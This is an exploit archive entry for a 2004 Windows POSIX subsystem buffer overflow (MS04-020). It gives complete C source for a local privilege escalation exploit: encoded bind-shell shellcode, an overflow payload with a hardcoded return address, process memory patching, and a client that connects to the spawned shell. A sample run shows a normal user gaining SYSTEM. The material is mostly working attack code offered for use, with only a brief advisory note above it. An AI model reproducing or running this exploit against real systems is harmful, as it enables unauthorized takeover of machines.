// source: https://www.securityfocus.com/bid/10710/info
The Microsoft POSIX subsystem implementation is prone to a local buffer overflow vulnerability.
A local attacker may exploit this vulnerability in order to run code with elevated privileges, fully compromising the vulnerable computer.
/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
*
* 2004/07/16
*
* thanks to eyas xfocus org
*
*
C:\>whoami
VITUALWIN2K\test
C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com
pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory
For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) .... 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM
C:\WINNT\system32>exit
[+] Connection closed in exit command.
C:\>
*/
#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")
#define PATCHADDR 0x0100343D //......posix.exe...
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip]
#define EIPLOCATION 0x200+4-12 //12."\DosDevices\"...
#define CANWRITEADDR 0x7ffdf02c //...+0x20...
#define VERSION "1.0"
unsigned short bindport = 60000;
unsigned char jmpcode[]=
"\x33\xC0" //xor eax,eax
"\x66\xB8\xc0\x01" //mov ax,0x1ff
"\x40" //inc eax
"\x2B\xE0" //sub esp,eax
"\xFF\xE4" //jmp esp
"\x00"; //\0 zero NULL
unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;
int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);
main()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID pdwCodeRemote;
unsigned int cbMemSize = MEMSIZE;
DWORD dwOldProtect,dwNumBytesXferred;
unsigned char buffer[MEMSIZE];
unsigned int buflen=0;
unsigned char textbuf[CODESIZE];
int i;
unsigned short lports;
char cmdarg[400];
char systemdir[MAX_PATH+1];
WSADATA wsd;
SOCKET sockfd;
printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("[-] WSAStartup error:%d\n", WSAGetLastError());
return -1;
}
i = GetWindowsDirectory(systemdir,MAX_PATH);
systemdir[i]='\0';
_snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C
pax -h",systemdir,systemdir);
//printf("cmdarg:%s\n",cmdarg);
//exit(0);
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory( &pi,sizeof(pi));
//create process
//..psxss....
if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
{
printf("CreateProcess1 failed:%d\n", GetLastError());
return 0;
}
WaitForSingleObject(pi.hProcess, INFINITE);
//.....
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory( &pi,sizeof(pi));
if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
{
printf("CreateProcess2 failed:%d\n", GetLastError());
return 0;
}
//alloc from remote process
pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT |
MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
if (pdwCodeRemote == NULL)
{
TerminateProcess(pi.hProcess,0);
printf("VirtualAllocEx failed:%d\n",GetLastError());
return 0;
}
printf("Remote addr:0x%08x\n",pdwCodeRemote);
//we can write and execute
if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
TerminateProcess(pi.hProcess,0);
printf("VirtualProtectEx failed:%d\n",GetLastError());
return 0;
}
//make shellcode
lports = htons(bindport)^0xeeee;
memcpy(bind_shell+bind_port_offset,&lports,2);
memset(buffer,'\x90',MEMSIZE);
//memset(buffer,'A',EIPLOCATION);
buffer[MEMSIZE-1] = '\0';
i=sizeof(bind_shell)-1;
if(i >= EIPLOCATION)
{
printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
TerminateProcess(pi.hProcess,0);
return 0;
}
i=EIPLOCATION-i;
memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
*(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //..eip
*(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //.......
memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
//write in to target
buflen=MEMSIZE;
if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))
{
TerminateProcess(pi.hProcess,0);
printf("WriteProcessMemory failed:%d\n",GetLastError());
return 0;
}
//modified the process .text
if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
TerminateProcess(pi.hProcess,0);
printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
return 0;
}
//........
i = 0;
textbuf[i++]='\xbf';
textbuf[i++]=(DWORD)pdwCodeRemote & 0xff; //mov edi,pdwCodeRemote
textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
//......
textbuf[i++]='\xeb';
textbuf[i++]='\x09'; //jmp .+0b
//.....
if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred))
{
TerminateProcess(pi.hProcess,0);
printf("WriteProcessMemory failed:%d\n",GetLastError());
return 0;
}
ResumeThread(pi.hThread);
Sleep(5);
sockfd=WSASocket(2,1,0,0,0,0);
if(sockfd == INVALID_SOCKET)
{
printf("[-] WSASocket error:%d\n", WSAGetLastError());
return -1;
}
if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
{
closesocket(sockfd);
printf("[-] Maybe not success?\n");
}
readwrite(sockfd);
TerminateProcess(pi.hProcess,0);
WaitForSingleObject(pi.hProcess, INFINITE);
}
int readwrite(SOCKET fd)
{
fd_set fdr1;
unsigned char buffer[1024];
int istty,ct1,ct2;
struct timeval timer;
memset(buffer,0,sizeof(buffer));
istty=_isatty(0);
timer.tv_sec=0;
timer.tv_usec=0;
while(1)
{
FD_ZERO(&fdr1);
FD_SET(fd,&fdr1);
ct1=select(0,&fdr1,NULL,NULL,&timer);
if(ct1==SOCKET_ERROR)
{
printf("[-] select error:%d\n",GetLastError());
break;
}
if(FD_ISSET(fd,&fdr1))
{
ct1=recv(fd,buffer,sizeof(buffer)-1,0);
if((ct1==SOCKET_ERROR) || (ct1==0))
{
printf("[-] target maybe close the socket.\n");
break;
}
if(_write(1,buffer,ct1)<=0)
{
printf("[-] write to stdout error:%d\n",GetLastError());
break;
}
memset(buffer,0,sizeof(buffer));
}
if(istty)
{
if(_kbhit()) /* stdin can read */
{
ct1=read(0,buffer,sizeof(buffer)-1);
if(ct1 <= 0)
{
printf("[-] read from stdin error:%d\n",GetLastError());
break;
}
ct2=send(fd,buffer,ct1,0);
if((ct2==SOCKET_ERROR) || (ct2==0))
{
printf("[-] target maybe close the socket.\n");
break;
}
if( strnicmp(buffer, "exit", 4) == 0)
{
printf("[+] Connection closed in exit command.\n");
break;
}
memset(buffer,0,sizeof(buffer));
}
}
else
{
ct1=read(0,buffer,sizeof(buffer)-1);
if(ct1<=0)
{
printf("[-] read from nontty stdin error:%d\n",GetLastError());
break;
}
ct2=send(fd,buffer,ct1,0);
if((ct2==SOCKET_ERROR) || (ct2==0))
{
printf("[-] target maybe close the socket\n");
break;
}
if( strnicmp(buffer, "exit", 4) == 0)
{
printf("[+] Connection closed in exit command.\n");
break;
}
memset(buffer,0,sizeof(buffer));
}
}
return(1);
}
/* ....server .port */
int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
short port2;
port2=port & 0xffff;
if((host=gethostbyname(server))==NULL)
{
printf("gethostbyname(%s) error\n",server);
return(-1);
}
memset(&cliaddr,0,sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port2);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
{
printf("[-] Trying %s:%d error\n",server,port);
closesocket(sockfd);
return(-1);
}
//printf("ok\r\n");
return(0);
}
